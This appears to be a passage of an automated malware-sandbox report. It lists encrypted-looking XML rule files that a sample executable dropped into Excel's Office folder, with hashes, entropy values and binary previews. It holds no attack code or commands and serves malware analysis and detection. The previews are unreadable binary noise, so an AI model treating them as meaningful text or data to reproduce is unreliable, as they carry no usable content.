Preview:	<?xml.!.\b..{..........\|..!LE.L..PV...H.B..J..._..K.t ....B... ....W....]..}.$Q..W..o.$c..u6H....M..G..{...$4n...5`..+n.;u....U.....=...\|-j4.P.RQ..2..E@.AH...]....}.Y".N.c0s+..<..u}h.<s[.4k..;.......z5mC.T.R.._.....3k..u..vg.Q......6....m,..M...(.h..B...n.(.c..p.!]........."!....D.rb.>.s-.#Q$..../...a...c...!-d.1.@7...$\.cmpVmWx......_..JF.\L!..!,..Xhr$....xlc&1.D.-..;.n.7..D...bLs.(...3Mv..t.h./....&k.'J....6.?...U......MV..E.G..../.Q..9H........M...p..[#...e.y.`Bu`VE..{T.......K{\>.:......HI.B.:!..iq.......9..UoT........tT.e.I.z....[..E.:..F.=.bU..o..!fC.-vb^.1M@.p..J....0..i...=).`.I.......C.y-G4.c...h...WB,.q...ia/E.\3...z.T...U.gl.VBk..nv..&.SM$.......@..l.9......$.XXTB......V. j....,.+N..B..7g..Ik.3....3...X...tO0.r..NC...!,:.DP.x.....I......'..W@....?3.:......B...ff...(.7..a....!6<A.pj:....ijp........f....`oBy....A.Wm...v..@Gg.DCh.V^.>rIn..)Of7.}3E`.-....m.nV.5'......JK...kv.{.5..ZZ.F.!.;....{..G.....T.;\..`i.K.z.......C.....z:...\|r...J.+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.73016829645142
Encrypted:	false
SSDEEP:	12:chU2HYU1syveWo/jaXZ5Z/dbBJ4f/nB8bDPNC6Pdz/dPDqzqOFpGyiX7TqS0OWdr:+4ssyLTdBCf/nBKxdTFOPzOTDQFpbD
MD5:	3E084D849738DDF425152548B66B98CE
SHA1:	E0CFE6863483BC998D8B9336AAEE293FC1DF3497
SHA-256:	48AFD826F3E054843322F9E5DA4D045D99830609E989B0CA3F92712C68AB8C6F
SHA-512:	3570CBC63C285B93AB69CC7434B6990E8A53CFE4E1FBCAB1F2016B1EC41822F250C732794CEB6CFB07900D32CCBC097B99BCB5C7CAAE12E5F032928359DECC95
Malicious:	false
Preview:	<?xml!i...+.#.v.W....c8...HEXZf.,FbC."V.gg..#.\|c..0x.8.dG.x.../...^ ......g)\...S...A..".\|...eB....b.~w.B>.GnJ....Z.zn..y...s..gbq#j.G^...+.9..Y......J....$...q..0..@..id....V..4.%..[dR`..JM.L.. ..e....]...6...Q^..AXg.?.=\|Y.Sea...l..H8Iw4.Q.'..q./U>.b...x..@.\|.....X.Y..<b'.F.x..=L.Uj.2..6h.V..a..\|.......Xs..o..3...P.U.......L.P.7.)].....&I...../m......h,....t..]X..l...^...0>..Px\.m...._%J..Yvn..d.r..5.[.Y..&P...I@`...q....?..$...2hS......p...#.....%..o. .#v...4.....~....)....r...D..........>.)3._h...k..^7R.... .[~...'tE3m<>.3..-'..?/3..Z@....5.E#.U..~x....9j.].......` .{.g..g.Gr.n.%..c...D....Xa...LQ.9...H .L..S #..@...ECg).....1...-....?...N.t..I...6.........'.....#....G.-.uO.._".7J7.Ph9c.h..M.v......Hc-..!.v..E.rN.'g..s.....].9-......)..K.*..f.[.1....`f....l$B..9. ......a,.yD.?SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.778960556483109
Encrypted:	false
SSDEEP:	12:ECb4N1sO175PyMD+SnAI3BY+lDILNuO71dmnxm/TilnHqvnFz1+cii9a:DUNzFK0+SnAIxY+lkPkxmrilHqdAbD
MD5:	E72E2BB7FD07F0FFD187D9EFE320B2B6
SHA1:	05BD332A6FF6C00268A9A8A36A37423834DC55FA
SHA-256:	1B5BBC85EEF75815DC6AFAF5B59834FFDA7148CD3A13D53DD10B1DCD14CC6B5F
SHA-512:	D6CFF053FEE8699EB1957856A803D038C4C1F7114411CEFDBC91533E9064EC43D604EEF32C0F8790E1E31C1BA5FB2A995B31AA3E334D66EFDA54A336312ADE45
Malicious:	false
Preview:	<?xml..vX...j^`.b.!.....'..,@..-w.C.D...S..P.^..j..&.W#...+...I....Mu.....~...........}D.^.c..(\....$..[nh...YfB..E.......;...%....6.....'w.P..:.^.cpE#.d.c..d>....W......6.K...`.si.O.5~...B.gB;.-..CZJ."F}6.G.........._..^.<..m.Q.P....9....T.1Y..".s.V.).b..u.L...Vm..xE....Hs;...^...ma.Bp."..&......7.v..S3.../..VId.9.h..z.7iu.....0......`5w..X....SV.m.5.\_.]w....To..l.F........n..a.... eYu.;yrS...N&......j..?........\B@.G.@...7O.j.S.k.....(....".c.....;.}.Az..?.....q...x.z.)......U.x2Rh...!.....<.......=......=.v\...#(.........v%.....zb.y......sj..).*.AEmK...E.F..(c...sj..9,j....\...U6.d...t.E..jIV.=..6.;&.az.O<...rkC(k.~r.U).;.NiTq..m..=j?.f...@.....b>...a.F(..........#....l+......xo.cd.K.@z9N.8.E.$u.n..9[}Z.i...J..U.i;...0F......:p.!B.X..ZP....i.d.....Cr....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.8054511311028865
Encrypted:	false
SSDEEP:	24:a0EyLCOS29uUg7Ro89JXbYw12Rk4R+MqlHg5X26fDsCfzAbD:a0Vr9u/e/q4R+lAVraD
MD5:	739775A1B38827204C853FC603C5CE7F
SHA1:	A137D5368FFC931C0117F085710D52531A423436
SHA-256:	9B4381CA32337B446350A694B564D20D8C0534F3210AE80527187758F6F6B346
SHA-512:	1B7D01AC2B91D40F285D8AE50509289F753987979829402FB0D387FFD40F1558CE91E812DAE4D42A80F074DA6264B8B3AAA41D604A40029AA9004E2F5E2A8EF4
Malicious:	false
Preview:	<?xmlj6.U.%.=..!....ER..`3..C.....ei./........i.......f.....>0{.[....N...z..Z ..s~u....`....}J.O@.\|.....k.&y...........F..Ay..V..U..1...6....y\|.....6....pI....YfmE.'".4mR..Du..Q...,V.P!O..H\|(7...IO.b...d.....=_.6.sD..BF.5e...p._..?.t...../.<6q............j......j..^t..)..z.xq.....j....>..`.i..:....x@O...a. .oFcm.....y.....dXF\|..P...K..8.5N.>K...C'.-.....B....T.:8.A.....5..)=i.{.h~........q.....dw.Pg&....Bl...jJf......5...@....b..k. Y.....jn.b.1.P.m..........W.bqyb.'.0.6.b.dr...u.r.G...\..O....g~+...tm.G.f.E.].d.B...E.......rfl.!}...{.......9....H.1>cf....C[&8.._...%=.'.;?....-\..'...P...X.4..66P.j....b...s.~)0g...M...2.......HY..MU....{.......@...;.....T...E..*.4...O.)..7u&9.A.'.....h...b....5_3...hl..w.s.=..,../.eS......]G2C8....:`.~.V{..t..9..Yn....3aZB..=....q.pp}.Q~.\62..4....j..`......`^.......f<..@.l..k.......b:..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.654364122915845
Encrypted:	false
SSDEEP:	12:EvVShWuYn8vNek5q5D3+SqAw12de2l+VNAFGBwaFPrzT5d8P/iTC9KNQm1awz1+X:+SFYnaNehD3+Sf4pc+/DCaFD56/6CI5m
MD5:	A616478B7656518D2E424F4259B0839E
SHA1:	F6ADA689DFC53AD62406A4EE43195CB63BD64E12
SHA-256:	3667CFC785DA161C870618BA044BF38B9628683FA31671CAE841B4646DF53483
SHA-512:	0498E7B57D2F44D825E9811B23CB44A5F0B7F864F07C557B0A0EEAA3BAE1525C3279BD0086B9E2AAE39379AEF355C6AD18420884CC5A053C296043E5C72CF419
Malicious:	false
Preview:	<?xml9O.l...m..Z.{......X.;H.P.X'.....c.....\#bH.".....d.A...\zf.e.QL.....{6.@.v.......P..w.._.!5v0...B...5F.". ..Z..p.n..Qwf.u...sZ.......,..5d7.,.M.....>..t.U.\..c.q.p &.F.N...b..\..z<^)M.R.t.....{t.Ly.y:.,L.;.>/.Hjx....1S....K.U....j.J..M?...vf..c..F..J\|...Q..`A..l.3.u.R......Z.F.....i.X....;.R.U.Pz.o#.D..B.A.6....N.......s8....}...%<h...o}..VE.n.1. .$...%.F.1..@QT...w...eq.08..4...8).^.Q....L.2.\F;p.......J..q...>P...]U.../{8G..qT.,..D.(.. ....loO.^.R....Z...F.W=..*a.G......U...."...;..^.Y..T.Uq).z..[..i%....5#.Q..+..._.....8..@.....jX,;.....?N3..s.b.;N.#w.5......Q...Ku...V..o....f.i.h.a"~./...o..;SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.810126162017264
Encrypted:	false
SSDEEP:	24:nNU+dhrUqJAHCA8+IEq0fQ+mi37iSymDvlmDG2D9OLbD:N5rpAHyJ0AiriSVwRD9OD
MD5:	7A143DF24089CDB6925EAA835903BEB5
SHA1:	61A0A3962C075BD06D03DF5969D8BEB16722A1C1
SHA-256:	A92F117BEFED63FFC351E5FFF0C2B0AD2686EF5EFE537B6BECACC3A33FB9EAA8
SHA-512:	C9BD99DB967834EA2A7617D81965C177D8CA7ABB7260A049DF9C839B55DD92BAA103DF4122003D01E4C2C0D2685814B764EC85E618D205A86969F90BCF629650
Malicious:	false
Preview:	<?xml,k..Q..u.=........ 3..}.\4..k...};.-....G#...........\|Q4.9..K..U\.-.b...Y.%2t.....rZ....,$..%.)..'.......}....3.......w\|.R.e...>........d.1..<..4M..W......'y..c.GKr..1."..\|..R0,_x..a...q....n..x.o.^f...}...QP..!.R...i...?M..p..k..../X....=l.61..<" ...:@".....=..d.L^....A.......2...B.....;.6.C8.f."..2/....&...iH......$H.48t..?...P....y.....a.....,E.&..]...b1e0.`9..xP...6QJ....(.V.5..wY.bS2};.:.....7,......Y.0..keX.s.m.u............r.&(\|'..4gR1...j.......q..^.{.p.r.....IE.._.+.2....\|.8:.@..U3L.e..Ot...W.............Z....]......F,...!M`8.B..~.9.;~2/.....=.mZ&....y...~.wS2..um\|....B..y&u...(Z......^...\B..a(.mc:...;.+e......>..@...f.-..}.M....'qwdQ...`..5....!.Pg...wKo.I&...3v..U.w...A....[...!:...\|.)w....7~.....J......2........{.D..j.G.4M.y5....Y.1........{1F.\|..3.^...\.,.....,..p....Q.#.O....Q.*~?...@...B5..o..p.;.....h..&j.f.....d.!...c.q.......9/..~.B.2..L.8.....6........B.0.bF.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.83600575928696
Encrypted:	false
SSDEEP:	24:e62Ncc2LgKI1oQd8DA7F66ToSXsfeof/K+EbsbD:excc2cvTp5y3fibmD
MD5:	555076154B5585AD7CA30682337462BF
SHA1:	B67CC54E3758C1931D49F4EE6DE8D4E1BB01A2FE
SHA-256:	7D29514C81A296DC964DA9877C413F6A8CB6FB15E6E0BBC5DD007CFFCB9061D0
SHA-512:	7B87CC4203D6891E92FF4D00BD7A3289610E0F125EB1607FF8604C12816975829ABE8A4DE905F8270D61B1A8632786C9051B2C272CA54F6CAD16E3FE99EB833B
Malicious:	false
Preview:	<?xml...w.-.P.'......<S..b\|8.P..H.4..gu... A.....7p.O.../]9....2...P..S...I@\|...7...3.....x..X...@Mdre....T....Kv......er..y....3..Z.....q..u,:..&.l`4.1.m>'...5.....bY.3.........YkB......cj.$.P..5...-.G.@.(..l.m.E..Z...b..P+...Y..4U.k.)1u....0Z.#.h.~xa...Z..-..6H..Y..]........6f....J.r..U.cc;........l.]..ueP.n.s......t..2..{..EHz.`..I.....#Z.4.!......l.C7.j2...b...5.yAoD.:U".<......iF....Mu . .....&...=.z.P.\L......U...U"......C..:Z......\.M..f....k..WU..$w.c...FG.<..0...fo.j........l....@K9..o...XWI.0...dj.C.._^.#.....Of...~..\..D..._..T......N...m_.."m..uI.T..v,w...VSFY.W.\|.2q..#....Qa%.+...6.Q.8..r.....)..a.E..G.${.9W..^&L.^O..0........CS....;1V},.......u.F_...b.9^.....h.3.....'.o...^'."/..m..^..;%..\.V.L..._M.....F.C....7....x......^!w...N;.?.z..'......Z..:Fq\|0g.....6gYd..<.'.rl...}......(.h&.7........)x.vu0_..(c..<..Q<...;.Ik.J....B...?..~..`y.p.....Z....\|.....r.....iG/.......CN...t(5..J..A..[...=.A.49...a10.h...iL.T..Yy.(l.>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.888937429637385
Encrypted:	false
SSDEEP:	24:C0gCBhiX16F5xiMnbl3QNGCtOrd1EuUbriFkLHewnveuziGcYi3PwGhz1/I0tqDX:Nu1Qbl32tFfvO7uTXD
MD5:	4A697581B6AB20F93ED8D0FD5A927FF5
SHA1:	4BC21A6B346D86F9F1E209C5D2ED4AF41E0D65A6
SHA-256:	B74C099986C6AFD42D4601674C21AFDFACDE40FA94A634D72F447CD0D6568C1E
SHA-512:	3181979D04DED768E94A422352287ACB411A8F1AB72EBF19FF927E6C0895C05485FD467545C535E20F3E0BD126B9F9BBB2802FB31EA7EF4BB9C69838D6D73081
Malicious:	false
Preview:	<?xml..:P..T.p_._.n.@......E..3(..d.`i.Rk.>..S%p...(.a.KM...y.6.....vq.nz.m(.........w}Oi.uBb.@8$Ap.1F........q.)...V.........4.j...)h.....??......\|..@.E1)..4?....L.Y...A..o..+...Q.P..f.F......v.......^....Y....D.F.;.XR..{..f..LF.1yC:.Xk.n.am.k..}.........?"C..]]..5..K...^!\..P[.D...N.k. .....Mym.a@7M!8....q..9I..v).I.Z..X(....^.:..x.b...t....~......)T..m......a.FR.7.P....qN$.i......F..KL.ZB......L..;p.XA.%..5e,C.e.......\|....@.......AI:.!>.r.:....S..b......=v@..q.^..u.$......7R....Q...f.0..mbs^"...3...$/.m6?Z._.):.n........Y..}M.5.4.5\PX.?.......&z....[........k.....? ..L.....4...W.s..'!`.?j..J..x..(.q....y.............=+...p..y..m9...4...f...=.@.-.+M~........>Q7...F...G.W\|..=.#.x.c..v....["..].f.9.[...]\|....0....u.b. .....pu......L.\.e... .....#E[....>.Kj.WP.KP/L.'ke.W..U.c."rmBj.o.9.w..W..=...iumN[......$.5..s)g..bO...uv2FJ......K.\...../q.....}T.9h]...!.z...sG.c..+....1[U'..*H......k...fN.v..X.`.v.aE.>."....R$-L......7.]....4.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.780615304699555
Encrypted:	false
SSDEEP:	24:kzfSfgQbWY0gQ7uV8be3aVG4bYS08L9VewOQBQl/0dLDbD:kzYvuuObDVG4bYLevnQ9IXD
MD5:	DA799A13245F34FEDED6E480CF340DE2
SHA1:	B580D1BF560D7AE79B10D2BE5A898FDBEF223539
SHA-256:	F16E2C77EE1C8CDFB708FEAF092B7CF6FC097051CC941304DB4CFEF495A5EE90
SHA-512:	DD748258ECA6071424F10304BDD40C7D04337382A7EF12515EEDFA1F664A241D89EC785071ADF74EDBC29115AA532FC88C703C4FB78CB3AB6A9EC847B6633086
Malicious:	false
Preview:	<?xmloG.P........4).......c3.n..<..v..c.G.#Y..dZ.r..#.?.A<5zw+..:_.X.T7........3X.:.n...~....-.U....0..^.20$bW.H..s5p......k.9.c...+...7.7./..`..n..\...&.T....y...~.....:........U.w.R...;.B.<Y...9....L..J.\..T.\{.y.I.....`.......5......{..../;.v....?........0..P....%..x[<........iA._"..'6./.A.#..........:..u.G.........}..,H...K.asc......5.......s.y.....W=.l....v....r7..>.....9...fz...t...S2...8.\.N....~.8BF.s....,..3....aV......c.."j..S .0.c7...L.$.b.N.s7.e:...l/#[0Q...O&.q......C.!...3.5.}.&l].r'....K.......2t..j........C8]..kx...;b.....-..\l..J...DV..b...]..%_3...L..W?.p..!.1.o..!...aT.}W5\J..pW0aU.. r._......=G...r.J.t...Q}........W&.<x.Ev.z.....f.j[.Y.....}N..[...]q.y.:e0.^N."B.4Y.....U."qY`.p..EX......L......#..I.G........\|7]u..H.+]........O...4>"Z..sZ...*....."2..b.....tlM..V....t./.......9z.%.r_...s'.x@...U..m#.#NR..i...i.b....M..=...c..C->.]"OU...n.M..4.s7$..y.]..~.O.?[t....>+.Br.P.Li....p'SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320002v5.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1892
Entropy (8bit):	7.909256138734532
Encrypted:	false
SSDEEP:	48:fjuVHv0PrhsNvhwftwWYfCxVmE5x+art6Ccl0EZQ4CDj+RVfwWD:fjr1sNutwtgdXACcl00mX+7fr
MD5:	D555C488C753753E9A7F58A8F4C9DF41
SHA1:	537BFF49D9A4F23479D405DB7950A7733E403608
SHA-256:	C3F9C50ACE110D3B1E1120753612DC641030F4D9A9C882DCEAE5DB36FC2DDFD3
SHA-512:	40F4A5CDF4F870D02028472A06D2D83B9597B76D9F658CB0ABD3614639063FD037515D2FC205F2A969FE8FE3CE9C770962FF0AA33B44897A1C5CFF66E511DACA
Malicious:	false
Preview:	<?xml..x...0.d[......U"Y......\.>.!<..UV..'OW.P[<S.x...Z3.x...J..n+'............%.....Z..v..1...<... hN\|m./....-P.. \|cs+.,7......<.9........... ....k...(.....p.........v.....E.0.G.!... .XwleG.e.]1..G..~..k.........o..{..K...[B.......;(_././...q.....1.s~.q.(-C..).H1o..)..V.#..@..g.5n.......;3.`..Z..s.T.....U....M.....Lg..5vR.......~...gz.~..B.ZH..$n....Q.O....Z\|O.N....{..t.g...&...c..N5........8;.!x..._..%.=.V..f..tR..Zp..9M.G.0....l@!.\.....E..5...3..f.b{;r..M<e.5..^.O...i".'q...r.[A.....O)...&..Q....w..../....x....."../,.p.P.%...K.`.X~.."..sLn.k......4.u..L......Hlu....C.m...[...4t..?......G.....RaA..Q..!...GE......RZ....#........_........u.).5.pP.....i._..v!..q1.%.5..9..U.6.v......]@..;.3{3...(y..9:..c.;&.z..d.......@>Tg.sJ\..&j......~.4&!...1]......z..>"..n.M^7K<0?.....S..#./L. ..S`..a.k....U..a..p....4rQk.c}..0j.>.<q.5Qe..' .%..4$..F.....]../.....@.]........v....9.d.w..@...(oU.d..P..O.....!oO.........g..^<.].:q...n..r..gzT...m...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320003v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.840843326930782
Encrypted:	false
SSDEEP:	24:7B8BzDi4BxmUmEnqbOgkaA/lI9iK2sahvZmOnkZ/DkgtlsP4bWgsbD:iV24BI/EqbOgBA/lEH/eHnqkyYEbmD
MD5:	3E02EA197848E033A5502985CD93FF3B
SHA1:	5341025FF63C06A60E56CD33D43CCFB065E0991A
SHA-256:	DA0C638ECD03A15AA3E1478E102AD6CE07E71291BA5A00A4CC82F4EDCA1C899A
SHA-512:	3ACF45439D4EC3598FC9BEE2E2D5203AF6F5FE28AD71E5E7E5EDFFC477110C06F203CF5F58575B09BCA917EFEC528E83052C75C59EDB66B5BFB94E060E31C0D9
Malicious:	false
Preview:	<?xml.......sh24.R....../.K..1...V..Y.g.;.;...yN...<....?m.............)\|..NA.".O.....UR......S.7.FX.....&........_.muG.t\...4%fx.......>..4.z. $.Og.w.2.{o.fs_..l.I6..=o..qk.Gy.q....4=...!..:(...g...C.Uy."Y93....H.......L]...e...`.I.(...A.=\|}.j/..3C.....].k.{........w/...I.h.v.#.Kj...t.YO._....^.....Q..%..EMN...x.....1.v.y..?.t./..@c..+..Qz._'.0..;...;...t~>g-......./.K.DY.:p8...K.c\.@..r.....Vo.....g^.....>...........qU?hj.M.6...r.....P...Es..o.w.(%".......;D.....\|...y.a#\...n....m.!.....:w..#L(..`....E.).......o.b.......R7.W5.#.y........A.@.G....'.....0R5.'..-[#...E..6.by..C0...D..6P..;\|...U.a......Y.U..V.l=7./Jj.]....v..Mu\g..b......q..d....9yCm..g.!r..m'l.v....\'......F..F.H...d_.).X...1...o.........J.....YA.(..o........J.......ac.8f!g...2.]..?N....u...9\|..^.q.}....u..&.........k.T..R2..w.L.}b..S...+.m.I...>...kV..ZnP.....%..jP.jU(.PO@...a.b....2.M.\^......F%^...$.6...P.5)..t..M]....#3.Pu;/.x`.jiu..m..._e.<?..$i.5..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320004v6.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1967
Entropy (8bit):	7.902957118617915
Encrypted:	false
SSDEEP:	48:TxVNv/+5nnU4SccMruEYZZYNEKWiuLNbUtdsLD:TxVNvxmr1QGspn
MD5:	C66AFC99D6E1E7B0A7CB69A48D804AEE
SHA1:	7B5CC2B912176FDD164836B2031ABD2917E324D5
SHA-256:	E9AB911D628D78C7DE898654B33988524DFFD24E90B695AB18F25943B9351E67
SHA-512:	168623E45DE9E2427E7D9656252E0BE4FAB6A2C6610DEBB8E94C561BA0E8419D7E440CD1A766C1B81AAC883BD464AC88BCF9582F5CBF03E7173305E7E646A27B
Malicious:	false
Preview:	<?xml....W)....y...".B..i.O.4..{kg......u1.x .y.Z.3{H.&Kpq.&..R^&.._.2Y...Q..iF..y..xl.k#.l.B.K.....M.3^.....l./.}%$_'#2....af.8.E....{...<..[..../&.!.Q......./...Q!B...z%..._.{..%.Q`.......w...i.e.=7........b.q-#..m.Q.8/..S..^....b.q./Ln`.5........2{rAk.L........X......x...4.!..}..R@....1(...a.E....n......?.~.........TJ.X.K..z.....k...f.udW...3G=;.T..~.C...~.k.T...Y..z?@.'.X].j.jz.B\..A.j......W...q.I....;G..k)..8$....^S,...fc^.W1.-.x(.m=.....d0a....}.V.JY<..B?.j.eR......\|tic.m....1.s!..........".u..R...+.h.\|..%e...v.K....O.&...U].6<..H+oGb......4`.0t....T.mvO11..N.v..'o...N.~:..........J..l.Dr..q.7.r...b....q.....>.....6.3.5L.8....vU.;c...2Av....%.v..1.'.K..@-.NY...c.`..HB...:V5....W..g...{r....D..g.Q.~3...z....8.......5..#hHl.T.kgg..1.mw_FX.j...<A.mk...y.,W....D/.Wg..J-.+j.{...Ms...._...!p.X#%Jrk..e.qSeV#.aC.3V...nU... ..0H... 5.?' 4..m..V8...b..Ve....&..z....Y.[....9.y....Q.ZjG..dG.......H.~].{21RP..._,J.4.$z(s....R.$.e.cc....iK

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320005v4.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1427
Entropy (8bit):	7.855994643038478
Encrypted:	false
SSDEEP:	24:tkoMI3cVMxtD8NIIGWMUw2sup5GN5njgs8yMnRGrKqhPSO/xJ2sLakKaObD:tkozxh0GWM45pcB8sNdeqhV/xNBsD
MD5:	1D4247B739B544BE4F2EC49FB68C6E18
SHA1:	1503E8354599BAF80DACBF06C59E9DE1624CA22A
SHA-256:	1E00AA40DE533116DE8A80D0A2691195C135057A0F9E3526D8686CE35A8C9D17
SHA-512:	E504DBDE9EF4620FDF57177FAC82838F15E2F8E864E0F4472947ED433AF38AA7748C7BE6FD051ABD64D76767D94AE5EE92ACF2A0CA57C5FB54B49195AE76613D
Malicious:	false
Preview:	<?xml.A.B.&.,F?...p....(.,.(...n................FK..GD.8.p......M.....S...N....$\|.;...a.}E.+..........vNDk.yc.$.].A......qB.Ib,....A..}.Q..q.(....\|\|....e\|ze._?Y.[.a..$L.s.q._..at......._....^VES.QBt.n...7.BHf.<....z.vhKMw...<...k.mv3.k!.P..mTw....&L.....V....!_A...jRBy...t..(h...4.r..T..N..,Yl...+..>2.=....4[h{_.... KEI.......o\|U1.N..v.w..<....3.'........#.w....Q.\.-..%...I..o.....vqm\|.....>!....=..t.......]FT.....).Va...u.$vR.+...m..g...Z1.zPRT.a........_.E.....$Z..".]r..?$..9.`.;GM..h...M]......."..$.1.J<.T.&(..S..4...F.......GY/...Z..X..~.+D.y.K.................@..s.8.bqH...y>J.....+..f.]......C...Lf.i7-...c.....X...))..z~:U...!......o.k......"7/4.7....?y..K......[.3.&...r.g.....Ui...k..=x..!=`$Z...oBH6...z.F....~...%bo1,}.t1;S.....Q5.zo.n..Oq=...,.ldhc......m_...[.>h..X.p.&J.....v....q..]..O.I.........W...:...K...!.<.vO.......2%.2.o...K....'...oJD..jDG..n\|."..(.O%.a?a6.n/g..>q......!.iX570.....PfU..op.\|W.;]...%.....\E.u...9.&..L.zP..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320006v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1528
Entropy (8bit):	7.87872501493036
Encrypted:	false
SSDEEP:	24:oswHGBnJ3QGHl2NpvsufkVFsaNQdnIir+gDxB0SiK0NpTKU3hIJkaRNbHqa8sU5C:o5GBnJgGUNposaNQdt+U01pTXxMRNLCY
MD5:	4122A085472D6E27BE311C523F54CC74
SHA1:	0C0D696B04C6CE6ACEB8F99BED153A591C3083B5
SHA-256:	43E79A90575F56541B748A8E11CC4AFFC9150AD0E203D82129A38B9773A75DC5
SHA-512:	3D56E0A8EF074C410AEB597E956C56310C06F49797E9141DFAB0CD23A41C06A1E85E8DF6E15E68B9A306D74C475693134531F41786791853A94424076436CC19
Malicious:	false
Preview:	<?xml..4....}yJ.T....e......H.;....Z.].\|.z...gI....+...=Rq.P?.....fcv.eB.}A.o.R9l...o.u.L..2..z.......o?[.YTl[[#n.n......-..3.....W..W...W....x.y...a.9../..S9s<.D...........vl.p.<..4Q.!...@g.L..i......v..&..ky...0.$.A* $7Ta.....vQ._/._,.2.Y...p.?...H.....KI.\..= ..$?.....1.o:.r3.:.....L..u..9/5. ..9%e1..Z...c..".pq..c......k.@\e@.;....."3...`.......].....R.Z.M...(.:-...:...S...U:.Y&M.p.oV?.......Z..b.\|..'.}...\....#...!c.V@..wn.5......Y.FF.t........D%.FP.}...+....-.:H7..<..1.t.F....."o.7^^.r..\.0.9M.t.8..!.?;FUL9..v.'`+8.F8@...9.l..QVH...,.z.)..6~.....t.0d.p..'+?...VC.8...c.rC.1.....\./..Wb.~c.....D.UEA..~....]1...L ..$..\|.M.R.H.%_.\|R..y...;dT....7..D.... bz.~..^.W{.h......J\|.8.l..NLnI...........Y4..,..0.+&..\|0..Qj\....`Z.Q.;..2.'.Q,#.........p..Nx[..).$.._.K.js.}(..v.z.k......M...B.S..q..{q.@.k..8K....L...O.`H...fW^:...3..z...:.y.).....(V..ew.6I.L.\YmDw.kc..?...6...{W..fiX.+.$.....q.....f.)s..u....\ANrM..2[t.h..75..Gn.v.gQ......8&..8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320007v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.832005989998822
Encrypted:	false
SSDEEP:	24:DUvVOZExT6YxzummW1J8IIH/wuFI+51LIN1SpbJbD:gNOexm8alWT8IIfVFIYE1SpD
MD5:	092BBEAD954FA3919E1C93F3776A8487
SHA1:	BE488E4DE7B5273C73972F85FCB7A903CE9261F5
SHA-256:	8E6E492EE6018CEE655FB7CF791D7D4319DA5410C04219AA1DB49010DA6BA935
SHA-512:	0006853375EECBFFE7F27362B136C818FBF360E49DA110F2731F167EF8B96D85FCB0EC052AFD21B69513F81E732189C3D2D019C133C5A398028DC281CC198F0D
Malicious:	false
